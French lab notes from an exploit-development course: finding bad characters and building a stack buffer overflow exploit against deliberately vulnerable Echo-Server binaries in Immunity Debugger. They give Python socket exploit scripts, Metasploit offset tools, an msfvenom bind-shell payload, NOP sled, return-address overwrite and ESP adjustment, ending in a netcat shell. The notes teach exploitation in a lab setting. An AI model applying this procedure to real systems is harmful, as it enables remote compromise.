Bad characters Bad characters Un mauvais caractère est simplement une liste de caractères indésirables qui peuvent casser les codes shell. Il n'y a pas d'ensemble universel de mauvais caractères, comme nous commencerions probablement à le comprendre, mais en fonction de l'application et de la logique du développeur, il existe un ensemble différent de mauvais caractères pour chaque programme que nous rencontrerions. Par conséquent, nous devrons trouver les mauvais caractères dans chaque application avant d'écrire le code shellDans le monde réel, les entrées transmises à un programme sont filtrées Les délimiteurs d’entrées Exp 0x00 pour les string Exp 0x0a 0x0d pour les HTTP Header Fields sera spécifique à l'application et à la logique du développeur Pourquoi cela devrait-il nous déranger ? si notre shellcode contient un (des) mauvais caractère (s) alors il cassera l'exploit. Quelle est la fréquence des mauvais personnages? Très élevée !!! Pour illustrer la problématique des bad charactères nous allons utilisé le programme Echo-Server-Bad-Char-Special.exe Ouvrez votre fichier dans immunity ce programme prend une liste de bad charactère comme entrée Aller sur debug arguments On va introduire 02 bad caracteres 0xaa,0xdd Cliquer sur OK immunity va vous demander de redemarrer le prog Debug -> restart -> yes Vous remarquerez que le code est assez simple et tres ressemblant aux programmes précédents Lancer le programme Aller sur kali, ouvrer votre terminal Vim exploitbad.py #!/usr/bin/python Import socket, sys Sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) Sock.connect ((sys.argv[1], 9000)) Buffer = « A »*1400 Sock.send(buffer) Print sock.recv(4000) Sock.close() Enregistrer fermer ./exploit.py @ipSRV Revenez vers le serveur et vous remarquerez qu’il vient de cracher 41414141la pile est saturée de A On relance le serveur dans immunity et on revient vers notre exploitqu’on modifie comme suit Buffer = « A »*1100 Buffer += « B »*400 Lancer votre exploit ./exploit.py @IP Nous aurons un autre crache on parcour la pile et on a les A suivi par les B Récuperer le script badchar.py Chmod a+x badchar.py puis on l’execute Copier le résultat et insérer dans votre exploit entre les deux affectations du buffer Buffer+= « coller le resultat Aller vers debug-> argument et supprimer les arguments de telle manière qu’il n’ y ait plus de bad char dans le prog Relancer le tout le prog se crache nous avons les A dans la pile ensuite notre sequence et les B Vous remarquerez que nous avons tout types de char dans notre shell code notamment des delimiteurs etc… On remet nos bad caracteres 0xaa,0xdd. On relance le programme on a un crash on parcours la pile on a les A par la suite on a notre séquence mais à la ligne 0022FDD4 on remarque que nous avons 0000A9A8 le Aa a été tout simplement tronqué. Imaginé si c’etaot un shellcode et qu’il a été tronqué de cette manière Maintenant il s’agit de savoir ou exactement cette operation de coupure a eu lieu On revient vers kali et on supprime notre 0xaa de la chaine de car On relance le prog et on remarqie qu’il se crache tjr à la verification de la pile on remarqie à la l’@ 0022FE08 que ça a été encore tronqué au niveau du dd O revient vers kali on supprime le dd et on relance la on remarque que le prog se crache mais on retrouve toute la chaine dans la pile Correction du homework Decompressez le fichier echo-Server-Memcpy-V3 Ouvrez le fichier dans immunity Vous remarquerez que le code source est presque similaire à ceux qu’on a déjà vu Mettez un break point à l’instruction 00401521 Lancer l’execution Basculer vers kali, cp exploit.py SRV3.py Vim srv3.py Supprimer toutes les affectations du buffer et mettre buffer = « A »*3036 Enregistrer les modifications et quitter Lancer votre programme ./srv3.py @IP Basculez vers windows vous remarquerez que la pile est saturée avec des A Continuer l’execution pas à pas jusqu’au RETN 0040158A, vous remarquerez que la pile est saturée de X !!!! Pour analyser les choses on va redemarrer le programme Lancer l’execution Revenez vers Kali, ouvrez un nouvel onglet Cd /usr/share/metasploit-framework/tools/exploit/ ./pattern_create.rb –l 2000 Copier le pattern généré et revenez vers votre programme pour faire la modification suivante buffer = « le pattern » Enregistrer quitter executer Revenez vers immunity et lancer l’exec pas à pas à l’instruction 0040157E on remarque que notre pattern est dans la pile Au RETN on remaqrue que la valeur de l@ de retours est 69423569 Revenez vers KALI, ./pattern_offset.rb –l2000 –q 69423569 On obtient 1036 Revenez vers immunity, dans l’es exmples précédents on pouvait réecrire les adresses de retours au 0022F72C et on pouvait mettre notre shell code juste apres cependant maintenant on ne peut plus accéder aux valeurs transmises au 0022F740 car elles sont écrasées par des XXX Revenons vers immunity relançons le serveurs Lancer l’exec jusqu’au breakpoint On revient vers notre fichier vim SRV3.py on supprime les affectations vers le buffer on revient vers le second onglet msfvenom –p windows/shell_bind_tcp –a x86 –f c Copier votre exploit et revenez vers le prog Shellcode =(blabla) Buffer = « \x90 »*40 Buffer += shellcode Buffer += « \x90 »*(1036 -40 –len(shellcode)) Buffer += Pour connaitre la valeur comment faire ?? On va faire cracher le prog Buffer += « AAAA » enregistrer quitter et executer dans immuniter lancer play et observer la pile On remarque les nop le shellcode entre les deux blocs de nop On peut choisir n’importe quelle adresse du premier bloc de nop comme adresse de retours par exp 0022F334 On revient vers kali et on remplace buffer+=‘AAAA’ par buffer += « \x34\xF3\x22\x00 » Relancer le prog et faites un test On fait une exec pas à pas jusqu’au RETN 0040158A Vous remarquerez que l’@ de retours est la bonne 0022F334 click droit sur @ de retours – follow in dump, dans la fenetre hexdump on verra les NOP, le chellcode et les nop Au premier nop clik droit breakpoint hardware, on execution Play on est au debut des NOP Play et là qccess violation !!!!! (video Min 14:03) Pourquoi est ce arrivé ??!!!! Vous avez trois minutes pour y réfléchir Restart dans immunity Kali relancer le payload On execute pas à pas jusqu’au RETN Une fois arrivé aux NOP et on identifie la premiere instruction 0022F349 On copie notre shellcode et on le cole dans un notepad On fait play il s’arrete au breakpoint Un autre play et nous avons un crash On revient vers notepad et on cherche l’@ de la premiere instruction 0022F349 on revient vers immunity et on recherche l’instruction ayant cette adresse Pour cela dans hexdump bouton droit sur premiere adresse goto expression et on tape 0022F349 si on compare avec le document notepad on remarque que le programme a complètement changé Dans immunity on va vers l’instruction 0022F345 On va soustraire 3000 de la valeur de ESP, c’est largement suffisant Click droit sur l’instruction – assemble remplacer l’instruction par sub esp, 3000 Le code de l’instruction assemblé est 81EC 00300000 On revient vers kali Vim SRV3.py Apres le shellcode et avant le buffer =« \x90 »*40 inserer Esp_adjust=« \x 81 \x EC \x 00 \x 30 \x 00 \x 00 » Apres l’affectation des prmiers nop mettre Byffer+= esp_adjust Ensuite Buffer += « \x90 »*(1036 -40 –len(shellcode) – len(esp_adjust)) Maintenant modifier l’adresse de retours buffer +=« \x30…. Pour pointer vers le nop Enregistrer et quitter Sur immunity restart play lancer l’exploit ensui te pas à pas Ensuite nc @IP 4444 on est dans la machine